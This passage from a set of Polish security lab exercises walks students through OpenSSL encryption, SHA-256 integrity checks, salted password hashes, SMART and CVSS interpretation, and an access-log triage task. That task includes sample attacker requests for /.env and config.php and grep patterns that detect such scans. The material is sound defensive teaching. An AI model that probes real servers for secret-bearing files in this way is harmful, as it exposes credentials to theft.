   Oczekiwany wynik: wejście 17 B, wyjście dokładnie 32 B (dopełnienie 17 B do wielokrotności bloku 16 B). To jest główny dowód do sprawozdania i on wystarczy do zaliczenia.
6. Dodatkowo porównaj z szyfrem strumieniowym ChaCha20 (bez dopełnienia). Uwaga: starsze kompilacje OpenSSL w JSLinux mogą nie mieć opcji -chacha20 i zgłosić unknown option - wtedy ten krok pomiń i odnotuj to w sprawozdaniu:

   openssl enc -chacha20 -nosalt -in probka17.bin -out probka_chacha.enc -pass pass:KluczTestowy1 && ls -l probka_chacha.enc

   Oczekiwany wynik, jeśli opcja istnieje: dokładnie 17 B (strumień szyfruje bajt po bajcie operacją XOR, bez paddingu). Porównaj: ls -l probka17.bin probka_chacha.enc probka_aes.enc probka_aes_nosalt.enc
7. Zauważ: ChaCha20 bez soli daje dokładnie 17 bajtów szyfrogramu. Szyfr AES-CBC dopełnia 17 bajtów do 32 bajtów + ewentualne 16 bajtów soli. Wykonaj zrzut ekranu z wynikiem ls -l.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Szyfry blokowe operują na stałych blokach danych (np. 16 bajtów w AES). Dane o długości niebędącej wielokrotnością bloku wymagają dopełnienia (padding PKCS#7), co zwiększa rozmiar pliku.
• Szyfry strumieniowe generują ciąg klucza (keystream) o długości odpowiadającej dokładnie rozmiarowi tekstu jawnego i łączą go operacją XOR, nie wprowadzając nadmiaru bajtowego.
• Osiągnięcie: praktyczna weryfikacja różnicy w rozmiarach wyjścia szyfru blokowego i strumieniowego w OpenSSL.

Cel

Celem zadania jest praktyczne zabezpieczenie danych w spoczynku (Data at Rest) z wykorzystaniem kryptograficznie bezpiecznego generatora liczb pseudolosowych oraz bezpośredniego klucza heksadecymalnego.

Scenariusz

Pracujesz w dziale kadr, gdzie w pliku place.csv leżą numery PESEL, nazwiska i pensje. Audytor wykazał, że plik leży jawnie na dysku współdzielonym i każdy, kto ukradnie laptop lub dysk, odczyta go bez łamania haseł. Firma nie chce już szyfrować hasłem wymyślonym przez pracownika, bo takie hasła są słabe i powtarzalne. Twoim zadaniem jest pokazać prawidłowe zabezpieczenie danych w spoczynku: wygenerować prawdziwie losowy klucz 256-bitowy i wektor IV z systemowego źródła entropii, zaszyfrować plik tym kluczem, udowodnić, że po zaszyfrowaniu w pliku nie ma czytelnego tekstu, usunąć oryginał, a potem odtworzyć go tym samym kluczem. Musisz też wyjaśnić, dlaczego klucz maszynowy różni się od hasła użytkownika i gdzie taki klucz powinien być przechowywany, żeby nie leżał obok szyfrogramu.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom terminal JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub konsolę PowerShell w Windows. W JSLinux sprawdź narzędzie: command -v openssl (przy braku programu: apk add openssl, a bez sieci kroki szyfrowania wykonaj w OpenSSL na Windows).
2. W terminalu JSLinux utwórz plik z danymi osobowymi i płacowymi:

   cat << 'EOF' > place.csv
   PESEL,Imie,Nazwisko,Pensja
   90010112345,Jan,Kowalski,12500
   92020254321,Anna,Nowak,14200
   EOF

3. Wygeneruj 256-bitowy losowy klucz kryptograficzny w zapisie heksadecymalnym z /dev/urandom:

   KLUCZ=$(openssl rand -hex 32) && echo 'Klucz 256-bit:' $KLUCZ

4. Wygeneruj 128-bitowy losowy wektor inicjalizujący IV:

   IV=$(openssl rand -hex 16) && echo 'Wektor IV:' $IV

5. Zaszyfruj plik place.csv za pomocą wygenerowanych parametrów:

   openssl enc -aes-256-cbc -in place.csv -out place.csv.enc -K $KLUCZ -iv $IV

6. Sprawdź zawartość pliku zaszyfrowanego za pomocą cat place.csv.enc. Zauważ, że tekst jest całkowicie nieczytelny.
7. Usuń plik jawny place.csv:

   rm place.csv

8. Odszyfruj plik przy użyciu tych samych zmiennych KLUCZ i IV:

   openssl enc -d -aes-256-cbc -in place.csv.enc -out place_przywrocone.csv -K $KLUCZ -iv $IV && cat place_przywrocone.csv

   Wykonaj zrzut ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Ochrona danych w spoczynku (Data at Rest) stanowi podstawowy mechanizm gwarantujący poufność w przypadku kradzieży dysku lub nieuprawnionego dostępu do systemu plików.
• Klucze kryptograficzne generowane z bezpiecznych źródeł entropii (/dev/urandom) posiadają maksymalną entropię i są odporne na ataki słownikowe.
• Osiągnięcie: wygenerowanie losowego klucza 256-bit i wektora IV oraz pomyślne zaszyfrowanie i odtworzenie pliku wrażliwego.

Cel

Celem zadania jest praktyczne przetestowanie funkcji skrótu SHA-256 pod kątem gwarantowania integralności danych oraz zademonstrowanie efektu lawinowego, w którym zmiana pojedynczego bitu tekstu jawnego diametralnie zmienia wartość skrótu.

Scenariusz

Pracujesz w dziale księgowości banku. Przygotowano plik zlecenia przelewu z kwotą i numerem konta. Kierownik boi się ataku w sieci wewnętrznej, w którym ktoś po cichu podmieni jedną cyfrę w kwocie, na przykład dopisze zero, a przelew i tak przejdzie. Twoim zadaniem jest pokazać, jak prosta funkcja skrótu staje się pieczęcią integralności: tworzysz dwa pliki różniące się jedną cyfrą, liczysz dla obu SHA-256 i porównujesz wyniki. Musisz wyjaśnić, dlaczego oba skróty mają stałą długość 64 znaków hex, dlaczego różnią się w połowie bitów mimo zmiany jednego znaku, i jak odbiorca po ponownym policzeniu skrótu wykryje podmianę. To demonstracja efektu lawinowego, na którym opiera się wykrywanie manipulacji.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom konsolę PowerShell w systemie Windows lub terminal JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256).
2. W terminalu Linux utwórz plik zlecenia:

   echo -n 'Przelew: 1000 PLN na konto PL1234567890' > przelew1.txt

   (W PowerShell: Set-Content -NoNewline -Path przelew1.txt -Value 'Przelew: 1000 PLN na konto PL1234567890').
3. Utwórz drugi plik różniący się zaledwie jedną cyfrą w kwocie:

   echo -n 'Przelew: 9000 PLN na konto PL1234567890' > przelew2.txt

   (W PowerShell: Set-Content -NoNewline -Path przelew2.txt -Value 'Przelew: 9000 PLN na konto PL1234567890').
4. Oblicz skrót SHA-256 dla obu plików w Linux:

   sha256sum przelew1.txt przelew2.txt

   (W PowerShell: Get-FileHash -Algorithm SHA256 przelew1.txt, przelew2.txt | Format-List Hash, Path).
5. Wypisz oba skróty jeden pod drugim w terminalu i porównaj ich znaki.
6. Wklej oba skróty do narzędzia CyberChef lub prostego skryptu porównującego znaki, aby przekonać się, że zmiana 1 znaku wejściowego zmieniła około 50% bitów wyjściowego 256-bitowego hasha.
7. Zwróć uwagę, że długość obu skrótów wynosi dokładnie 64 znaki heksadecymalne (256 bitów) bez względu na długość wejścia.
8. Wykonaj zrzut ekranu prezentujący oba skróty heksadecymalne i dołącz go do raportu z podpisem.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Kryptograficzna funkcja skrótu SHA-256 jest jednokierunkowa i deterministyczna - ta sama wiadomość daje zawsze ten sam skrót.
• Efekt lawinowy (Avalanche Effect) gwarantuje, że nawet najmniejsza nieautoryzowana ingerencja w treść danych powoduje całkowitą zmianę skrótu, uniemożliwiając ukrycie modyfikacji.
• Osiągnięcie: doświadczalne wykazanie efektu lawinowego i weryfikacja integralności poleceniem sha256sum / Get-FileHash.

Cel

Celem zadania jest opanowanie procedury automatycznej weryfikacji integralności plików binarnych przy użyciu pliku sum kontrolnych w formacie GNU/Linux oraz narzędzia CertUtil na systemie Windows.

Scenariusz

Masz zainstalować krytyczną aktualizację serwera pobraną z Internetu. Producent obok paczki publikuje plik SHA256SUMS z sumami kontrolnymi, ale kolega mówi: po co to sprawdzać, przecież pobrało się bez błędu. Ty wiesz, że po drodze mógł zadziałać uszkodzony transfer albo atak podmiany paczki. Twoim zadaniem jest przećwiczyć pełną procedurę zaufania: wygenerować plik sum, zrobić automatyczną weryfikację z wynikiem OK, potem celowo dopisać do paczki złośliwy dopisek symulujący atak i pokazać, że ta sama komenda weryfikacji zwraca teraz FAILED. Musisz też wyjaśnić, dlaczego sumę trzeba pobierać z bezpiecznego kanału i co by było, gdyby atakujący podmienił jednocześnie paczkę i plik sum.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub konsolę cmd/PowerShell w Windows.
2. W terminalu Linux przygotuj plik symulujący pakiet instalacyjny:

   echo 'PAKIET_INSTALACYJNY_WERSJA_3.2.1' > update.tar.gz

3. Wygeneruj oficjalny plik sumy kontrolnej SHA-256:

   sha256sum update.tar.gz > SHA256SUMS

4. Wyświetl zawartość pliku sum kontrolnych poleceniem:

   cat SHA256SUMS

   Zauważ strukturę: <skrót_hex> <nazwa_pliku>.
5. Wykonaj automatyczną weryfikację integralności poleceniem:

   sha256sum -c SHA256SUMS

   Zaobserwuj status: update.tar.gz: OK.
6. Zasymuluj uszkodzenie lub celową modyfikację pliku przez atakującego:

   echo 'ZLOSLIWY_KOD' >> update.tar.gz

7. Uruchom ponownie weryfikację:

   sha256sum -c SHA256SUMS

   Zauważ komunikat błędu: update.tar.gz: FAILED oraz informację o niepowodzeniu sumy kontrolnej.
8. W systemie Windows sprawdź analogiczne obliczenie sumy kontrolnej bez praw administratora:

   certutil -hashfile update.tar.gz SHA256

   Zapisz zrzuty ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Weryfikacja sumy kontrolnej pozwala jednoznacznie wykryć błędy transmisji oraz modyfikacje binarne pliku.
• Format pliku SHA256SUMS w połączeniu z flagą -c umożliwia automatyzację kontroli integralności tysięcy plików w procesach CI/CD.
• Osiągnięcie: praktyczne przeprowadzenie pozytywnej i negatywnej weryfikacji integralności pliku w środowisku Linux i Windows.

Cel

Celem zadania jest praktyczne zrozumienie metryk dostępności systemów teleinformatycznych. Student kalkuluje dopuszczalny czas przestoju w kalkulatorze SLA Uptime.is oraz wykonuje praktyczny pomiar opóźnienia i czasu odpowiedzi serwera narzędziem cURL.

Scenariusz

Dział IT negocjuje z dostawcą chmury umowę na portal obsługi klienta. Handlowiec oferuje pakiet trzech dziewiątek 99.9 procent taniej i pakiet czterech dziewiątek 99.99 procent trzy razy drożej, mówiąc, że różnica to tylko setna części procenta. Zarząd nie rozumie, za co ma dopłacić, a Ty wiesz, że w skali roku ta setna zamienia się w godziny przestoju i straty w sprzedaży. Twoim zadaniem jest policzyć w kalkulatorze Uptime.is dopuszczalny przestój na rok, miesiąc i dobę dla obu wariantów, pokazać różnicę ponad siedmiu godzin rocznie i uzupełnić to żywym pomiarem czasu odpowiedzi serwera komendą curl. Musisz też wyjaśnić, jakie mechanizmy redundancji stoją za droższym pakietem i kiedy tańszy wystarczy, a kiedy grozi karami umownymi.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce internetowej darmowy kalkulator dostępności pod adresem: uptime.is.
2. Wpisz w pasku adresu lub polu wyszukiwania wartość: 99.9% (uptime.is/99.9). Zanotuj dopuszczalny czas niedostępności w skali roku, miesiąca oraz doby (w skali roku: 8 godzin 45 minut 57 sekund).
3. Wpisz wartość: 99.99% (uptime.is/99.99). Zanotuj dopuszczalny czas niedostępności (w skali roku: zaledwie 52 minuty 36 sekund).
4. Oblicz różnicę przestoju w skali roku między 99.9% a 99.99% (ponad 7 godzin 50 minut różnicy).
5. Otwórz wiersz poleceń Windows (PowerShell lub cmd - program curl.exe jest wbudowany w Windows 10/11, uprawnienia administratora nie są potrzebne) i wykonaj praktyczny pomiar czasu zestawienia połączenia HTTP (pomiar wykonaj w Windows, bo w emulatorze JSLinux sieć zewnętrzna może być niedostępna; uwaga: na Windows odpowiednikiem uniksowego /dev/null jest urządzenie NUL, dlatego w poleceniu występuje -o NUL):

   curl -o NUL -s -w 'Czas DNS: %{time_namelookup}s | Polaczenie TCP: %{time_connect}s | Czas calkowity: %{time_total}s | Kod HTTP: %{http_code}\n' https://www.gov.pl

6. Powtórz pomiar 3 razy i wylicz średni czas odpowiedzi.
7. Oceń, jakie mechanizmy redundancji (np. zapasowe łącze BGP, serwery lustrzane, multi-cloud) są konieczne, aby osiągnąć poziom 99.99%.
8. Wykonaj zrzut ekranu kalkulatora Uptime.is oraz wyniku pomiaru poleceniem curl.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Zwiększenie poziomu dostępności z 99.9% do 99.99% redukuje dopuszczalny roczny przestój z niemal 9 godzin do poniżej 1 godziny, co drastycznie podnosi koszty infrastruktury.
• Dostępność jest mierzalnym filarem bezpieczeństwa, a jej monitorowanie wymaga zautomatyzowanych sond mierzących czas odpowiedzi HTTP i statusy kodów błędów.
• Osiągnięcie: obliczenie progów tolerancji przestoju w SLA oraz praktyczny pomiar opóźnień sieciowych narzędziem cURL.

Cel

Celem zadania jest praktyczne zrozumienie kryptograficznego mechanizmu zabezpieczania haseł w systemach operacyjnych. Student bada format skrótów /etc/shadow z wykorzystaniem algorytmu SHA-512 crypt oraz weryfikuje rolę soli w zapobieganiu atakom tęczowym.

Scenariusz

Jako administrator serwera linuksowego zakładasz konta dla nowych pracowników. Programiści proponują uproszczenie: trzymajmy w bazie zwykły SHA-256 z hasła, będzie szybko i prosto, a sól to zbędna komplikacja. Ty wiesz, że wtedy dwa identyczne hasła dadzą identyczny hash, a atakujący z gotową tablicą tęczową złamie całą bazę jednym słownikiem. Twoim zadaniem jest pokazać im na żywo różnicę: wygenerować hash tego samego hasła z dwiema różnymi solami, pokazać, że wyniki są zupełnie inne, rozłożyć format na części identyfikator, sól i hash oraz pokazać losowanie soli przez system. Musisz wyjaśnić, dlaczego sól jest jawna i nie musi być tajna, a mimo to chroni, oraz czym różni się to od nowoczesnych funkcji spowalniających jak bcrypt czy Argon2.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator terminala JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256). Sprawdź narzędzie: command -v openssl (przy braku programu: apk add openssl, a bez sieci to samo polecenie openssl passwd wykonaj w OpenSSL z Git for Windows).
2. Wygeneruj skrót hasła 'Student2026!' przy użyciu algorytmu SHA-512 (identyfikator $6$) ze zdefiniowaną solą 'solA1234':

   openssl passwd -6 -salt solA1234 Student2026!

3. Zanotuj otrzymany ciąg: $6$solA1234$...
4. Wygeneruj skrót DOKŁADNIE TEGO SAMEGO hasła 'Student2026!' z inną solą 'solB9876':

   openssl passwd -6 -salt solB9876 Student2026!

5. Zanotuj drugi otrzymany ciąg i porównaj oba skróty.
6. Zauważ: mimo identycznego hasła wejściowego oba hashe są diametralnie różne na całej swojej długości.
7. Przeanalizuj strukturę rekordu modularnego formatu kryptograficznego: $id$salt$hash (pole 1: identyfikator 6 oznacza SHA-512, pole 2: sól jawna, pole 3: wynikowy skrót).
8. Wygeneruj skrót z solą losowaną automatycznie przez OpenSSL:

   openssl passwd -6 Student2026!

   i zaobserwuj wygenerowaną losową sól. Wykonaj zrzut ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Zastosowanie unikalnej soli sprawia, że dwaj użytkownicy posiadający identyczne hasło mają całkowicie odmienne wpisy w bazie skrótów.
• Sól uniemożliwia stosowanie prekomputowanych tablic tęczowych (Rainbow Tables) oraz jednoczesne łamanie wielu kont z jednego słownika.
• Osiągnięcie: praktyczne wygenerowanie i analiza struktury solonych skrótów SHA-512 crypt w systemie Linux.

Cel

Celem zadania jest praktyczne przećwiczenie filaru rozliczalności (Accounting). Student przetwarza dziennik dostępu serwera HTTP (access.log) narzędziami konsoli uniksowej w celu zidentyfikowania adresów IP realizujących ataki siłowe oraz skanowanie zasobów.

Scenariusz

W nocy portal pracowniczy wyraźnie zwolnił, a rano helpdesk zgłasza dziwne próby logowania. Podejrzewasz, że ktoś w nocy skanował logowanie i szukał plików konfiguracyjnych. Nie masz drogiego SIEM, masz tylko surowy plik access.log serwera WWW. Twoim zadaniem jest wcielić się w analityka dyżurnego: zbudować w JSLinux mały plik logu, potem komendami grep i awk wyłowić wszystkie odmowy 401 i 403, zliczyć, który adres IP atakuje najczęściej i jakie wrażliwe ścieżki sprawdzał, na przykład env czy config.php. Musisz wyjaśnić, jak rozliczalność z modelu AAA działa w praktyce, dlaczego logi trzeba chronić przed modyfikacją i kiedy taki ręczny triage wystarczy, a kiedy trzeba wzywać zespół SOC.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator terminala JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256).
2. Wygeneruj przykładowy plik logu serwera WWW z symulacją ruchu za pomocą polecenia:

   cat << 'EOF' > access.log
   192.168.1.50 - - [07/Oct/2026:10:00:01] "GET /index.html HTTP/1.1" 200 1420
   192.168.1.50 - - [07/Oct/2026:10:00:15] "GET /style.css HTTP/1.1" 200 450
   10.20.30.99 - - [07/Oct/2026:10:01:02] "POST /login.php HTTP/1.1" 401 530
   10.20.30.99 - - [07/Oct/2026:10:01:05] "POST /login.php HTTP/1.1" 401 530
   10.20.30.99 - - [07/Oct/2026:10:01:08] "POST /login.php HTTP/1.1" 401 530
   10.20.30.99 - - [07/Oct/2026:10:01:12] "GET /admin/config.php HTTP/1.1" 403 220
   10.20.30.99 - - [07/Oct/2026:10:01:15] "GET /.env HTTP/1.1" 404 180
   192.168.1.65 - - [07/Oct/2026:10:02:00] "GET /dashboard.html HTTP/1.1" 200 2300
   EOF

3. Wyświetl zawartość pliku logu:

   cat access.log

4. Wyszukaj wszystkie wpisy zawierające kody błędów autoryzacji (401 lub 403) za pomocą polecenia grep:

   grep -E '" (401|403) ' access.log

5. Zbuduj potok uniksowy wyodrębniający adresy IP atakujących oraz zliczający liczbę incydentów:

   awk '{print $1, $8}' access.log | grep -E '(401|403)' | sort | uniq -c

   Wyjaśnienie numeracji pól: w formacie Common Log Format pole $1 to adres IP, a pole $8 to kod statusu HTTP (cytowane żądanie zajmuje pola $5-$7, więc status to ósme pole, a dziewiąte $9 to rozmiar odpowiedzi w bajtach).
6. Zidentyfikuj podejrzany adres IP (10.20.30.99) oraz wskaż typy zasobów, do których próbował uzyskać dostęp.
7. Wyodrębnij sygnatury skanowania wrażliwych plików konfiguracyjnych:

   grep -E '(\.env|config\.php)' access.log

8. Wykonaj zrzut ekranu z wynikami analizy potokiem uniksowym i dołącz do sprawozdania.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Filar rozliczalności (Accounting) opiera się na niezmienności i kompletności rejestrów zdarzeń (logów), które umożliwiają odtworzenie przebiegu incydentu.
• Standardowe narzędzia przetwarzania tekstu w systemie Linux (grep, awk, sort, uniq) stanowią bazowy aparat analityczny do wstępnego triage'u incydentów bezpieczeństwa.
• Osiągnięcie: identyfikacja adresu IP atakującego i zliczenie incydentów odmowy dostępu na bazie pliku access.log.

Cel

Celem zadania jest praktyczne przeprowadzenie audytu zapotrzebowania energetycznego szafy serwerowej i wyliczenie parametrów zasilacza UPS (moc pozorna w VA, moc czynna w Watach oraz czas podtrzymania bateryjnego) w internetowym kalkulatorze doboru zasilania.

Scenariusz

Wydział organizuje nową serwerownię: trzy serwery po 350 W, macierz 250 W i przełącznik 80 W. Elektryk pyta, jaki UPS kupić, żeby przy zaniku prądu starczyło na 15 minut na bezpieczne zamknięcie baz danych. Ktoś proponuje kupić zasilacz na oko 1400 W, bo tyle wychodzi z dodawania. Ty wiesz, że trzeba odróżnić waty od woltamperów, uwzględnić współczynnik mocy i dodać zapas na rozbudowę. Twoim zadaniem jest policzyć bilans krok po kroku, przeliczyć moc czynną na pozorną, dodać 25 procent marginesu i zweryfikować dobór w internetowym selektorze producenta z czasem podtrzymania. Musisz też wyjaśnić, dlaczego za mały UPS wyłączy się od razu, a przewymiarowany bez planu baterii też nie da deklarowanych minut.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce darmowy selektor UPS (np. APC UPS Selector pod adresem: apc.com/us/en/tools/ups_selector, alternatywnie selektor Eaton: upsselector.eaton.com, lub inny darmowy kalkulator bilansu UPS).
2. Zbierz zestawienie odbiorników w szafie serwerowej:
   Serwer 1 (350 W), Serwer 2 (350 W), Serwer 3 (350 W), Macierz dyskowa SAS (250 W), Przełącznik zarządzalny 48p (80 W). Łączna moc czynna: P = 3*350 + 250 + 80 = 1380 W.
3. Uwzględnij współczynnik mocy zasilaczy serwerowych (Power Factor, cos fi = 0.9): oblicz minimalną moc pozorną UPS w woltamperach: S = P / 0.9 = 1380 / 0.9 = 1533.3 VA.
4. Dodaj 25% marginesu rozbudowy infrastruktury: S_wymagane = 1533.3 * 1.25 = 1916.6 VA (rekomendowany zasilacz klasy 2000 VA / 2 kVA).
5. Wprowadź dane do kalkulatora internetowego i wybierz wymagany czas podtrzymania (Runtime at Load): 15 minut przy obciążeniu 1400 W.
6. Odczytaj konfigurację akumulatorów (wbudowane baterie vs zewnętrzny moduł bateryjny Battery Pack).
7. W konsoli JSLinux lub w Pythonie napisz jednolinijkowy skrypt weryfikujący obliczenia:

   python3 -c "p=1380; pf=0.9; s=p/pf*1.25; print(f'Wymagana moc UPS: {s:.1f} VA')"

8. Wykonaj zrzut ekranu kalkulatora z wybranym modelem UPS i czasem podtrzymania.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Dobór zasilacza UPS wymaga rozróżnienia mocy czynnej (Waty) od mocy pozornej (Woltampery) oraz uwzględnienia współczynnika mocy (Power Factor).
• Zapewnienie ciągłości działania (Business Continuity) wymaga zapewnienia czasu podtrzymania wystarczającego na zrzucenie pamięci podręcznych na dysk i bezpieczny shutdown.
• Osiągnięcie: sporządzenie bilansu energetycznego serwerowni i wyznaczenie parametrów zasilacza UPS na ocenę 2 kVA.

Cel

Celem zadania jest praktyczna interpretacja gotowego raportu samodiagnostyki dysku S.M.A.R.T. (Self-Monitoring, Analysis and Reporting Technology). Student analizuje zapisane wcześniej parametry krytyczne pod kątem ryzyka utraty integralności i dostępności danych. Uwaga: w emulatorze JSLinux nie uruchamiamy programu smartctl - maszyna wirtualna w przeglądarce nie ma fizycznego dysku ani pakietu smartmontools, więc pracujemy na gotowym pliku tekstowym tak, jak analityk pracuje na logu przyniesionym z serwera.

Scenariusz

Monitoring macierzy RAID zgłasza ostrzeżenie dla dysku dev sdb, ale serwer nadal działa i nikt nie chce wierzyć, że to coś poważnego. Dostajesz zrzut parametrów SMART do oceny. Na pierwszy rzut oka to tabelka liczb, ale Ty wiesz, które atrybuty są typu pre-fail i zwiastują koniec nośnika. Twoim zadaniem jest odczytać realokowane sektory, sektory oczekujące i czas pracy w godzinach, przeliczyć godziny na lata ciągłej pracy i powiązać to z krzywą wannową. Musisz napisać jasną rekomendację dla administratora: czy dysk obserwować, czy natychmiast wymienić i przebudować macierz, oraz wyjaśnić, co stanie się z dostępnością danych, jeśli drugi dysk też padnie przed odbudową.

Pomocnik - jak wykonać zadanie krok po kroku

1. Uruchom emulator JSLinux Alpine (bellard.org/jslinux/vm.html?cpu=x86_64&url=alpine-x86_64.cfg&mem=256) lub przygotuj plik tekstowy na Windows. Wyjaśnienie: nie wpisujemy smartctl -a /dev/sda, bo w JSLinux nie ma fizycznego dysku do odczytania ani narzędzia smartctl - tworzymy plik z treścią wcześniej zapisanego raportu.
2. W terminalu JSLinux utwórz plik z treścią zapisanego raportu smartctl:

   cat << 'EOF' > smart_raport.txt
   ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      RAW_VALUE
     1 Raw_Read_Error_Rate     0x002f   114   099   006    Pre-fail  42108
     5 Reallocated_Sector_Ct   0x0033   085   085   036    Pre-fail  128
     9 Power_On_Hours          0x0032   072   072   000    Old_age   24810
   194 Temperature_Celsius     0x0022   068   052   000    Old_age   32
   197 Current_Pending_Sector  0x0012   090   090   000    Old_age   45
   198 Offline_Uncorrectable   0x0010   092   092   000    Old_age   18
   EOF

3. Wyświetl raport i wyszukaj parametry krytyczne poleceniem grep:

   cat smart_raport.txt
   grep -E 'Reallocated_Sector_Ct|Current_Pending_Sector|Offline_Uncorrectable|Power_On_Hours' smart_raport.txt

   Znajdź wiersze: Reallocated_Sector_Ct (sektory przeniesione do puli zapasowej) oraz Current_Pending_Sector (sektory oczekujące na remapowanie). Kolumna TYPE Pre-fail oznacza atrybut zwiastujący awarię.
4. Zinterpretuj wartość atrybutu ID 5 (RAW_VALUE = 128): dysk ma już 128 fizycznie uszkodzonych sektorów, które zostały realokowane.
5. Zinterpretuj wartość atrybutu ID 197 (RAW_VALUE = 45): kolejne 45 sektorów jest niestabilnych i oczekuje na zapis w celu weryfikacji.
6. Odczytaj czas pracy nośnika (ID 9 Power_On_Hours = 24810 godzin, co stanowi ponad 2.8 roku ciągłej pracy serwerowej - strefa rosnącego prawdopodobieństwa awarii na krzywej wannowej).
7. Sformułuj w notatce diagnozę: dysk znajduje się w stanie zaawansowanej degradacji i wymaga natychmiastowej wymiany w macierzy RAID. Zapisz zrzut ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Wskaźniki SMART (szczególnie ID 5, 197, 198) pozwalają zidentyfikować degradację powierzchni dysku przed całkowitą awarią nośnika.
• Monitoring SMART stanowi element proaktywnego zarządzania ryzykiem technicznym, zapobiegając utracie dostępności danych.
• Osiągnięcie: prawidłowa interpretacja raportu diagnostycznego SMART i identyfikacja sektorów reallokowanych.

Cel

Celem zadania jest praktyczne opanowanie metodyki ilościowej oceny krytyczności podatności w standardzie CVSS v3.1. Student analizuje podatność zdalnego wykonania kodu, konfiguruje wektor bazowy w oficjalnym kalkulatorze FIRST i interpretuje wynik punktowy.

Scenariusz

W firmowym portalu wykryto lukę w bibliotece logowania, która pozwala zdalnie wykonać kod bez logowania, na wzór głośnego Log4Shell. Programiści mówią, że poprawią w przyszłym sprincie, bo przecież trzeba się najpierw zalogować, a zarząd nie rozumie, dlaczego każesz gasić produkcję w trybie emergency. Twoim zadaniem jako oficera bezpieczeństwa jest sparametryzować podatność w oficjalnym kalkulatorze FIRST CVSS 3.1: ustawić atak sieciowy, niską złożoność, brak uprawnień i interakcji, zmieniony zasięg i pełny wpływ na poufność, integralność i dostępność. Musisz odczytać wynik 10.0 Critical i wektor tekstowy, a potem pokazać, jak wynik spada, gdy atak wymaga konta administratora. Od Twojej punktacji zależy decyzja o natychmiastowym patchowaniu.

Pomocnik - jak wykonać zadanie krok po kroku

1. Otwórz w przeglądarce oficjalny kalkulator CVSS v3.1 organizacji FIRST pod adresem: first.org/cvss/calculator/3.1 (lub bazę NIST NVD pod adresem nvd.nist.gov).
2. Zapoznaj się z grupą metryk bazowych (Base Score Metrics): Attack Vector (AV), Attack Complexity (AC), Privileges Required (PR), User Interaction (UI), Scope (S), Confidentiality (C), Integrity (I), Availability (A).
3. Ustaw parametry dla podatności zdalnego wykonania kodu przez sieć:
   • Attack Vector (AV): Network (N) - atak możliwy zdalnie przez Internet bez dostępu fizycznego czy lokalnego.
   • Attack Complexity (AC): Low (L) - brak specjalnych warunków wyścigu czy nietypowych konfiguracji.
   • Privileges Required (PR): None (N) - atakujący nie musi posiadać konta w systemie.
   • User Interaction (UI): None (N) - podatność nie wymaga kliknięcia przez ofiarę.
   • Scope (S): Changed (C) - atak pozwala przejąć kontrolę nad komponentami wykraczającymi poza samą bibliotekę.
   • Confidentiality (C): High (H) - pełny dostęp do danych.
   • Integrity (I): High (H) - możliwość dowolnej modyfikacji plików.
   • Availability (A): High (H) - możliwość całkowitego wyłączenia usługi.
4. Odczytaj wyliczoną punktację: CVSS Base Score = 10.0 (poziom Critical).
5. Odczytaj i zanotuj wygenerowany wektor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
6. Zmień parametr Privileges Required na High (atakujący musi być administratorem) i zaobserwuj spadek punktacji. Zapisz zrzut ekranu.

Sugerowane wnioski i podsumowanie - co student ma osiągnąć

Praca kończy się syntetyczną analizą problemu i udokumentowaniem wyników w sprawozdaniu laboratoryjnym.

• Standard CVSS zapewnia ujednoliconą, obiektywną ocenę powagi luk w oprogramowaniu na skali od 0.0 do 10.0.
• Kombinacja wektora sieciowego (AV:N), braku uwierzytelnienia (PR:N) i pełnego wpływu na triadę CIA (C:H, I:H, A:H) klasyfikuje podatność jako krytyczną, wymagającą natychmiastowej reakcji.
• Osiągnięcie: samodzielna parametryzacja wektora CVSS v3.1 i zrozumienie wpływu poszczególnych metryk na końcową punktację.

Cel

Celem zadania jest opanowanie bezpiecznej procedury analizy podejrzanego pliku bez ryzyka infekcji i bez ujawniania potencjalnie poufnej treści. Student oblicza skrót SHA-256 standardowego pliku testowego EICAR i wyszukuje go w globalnej bazie reputacyjnej VirusTotal.

Scenariusz

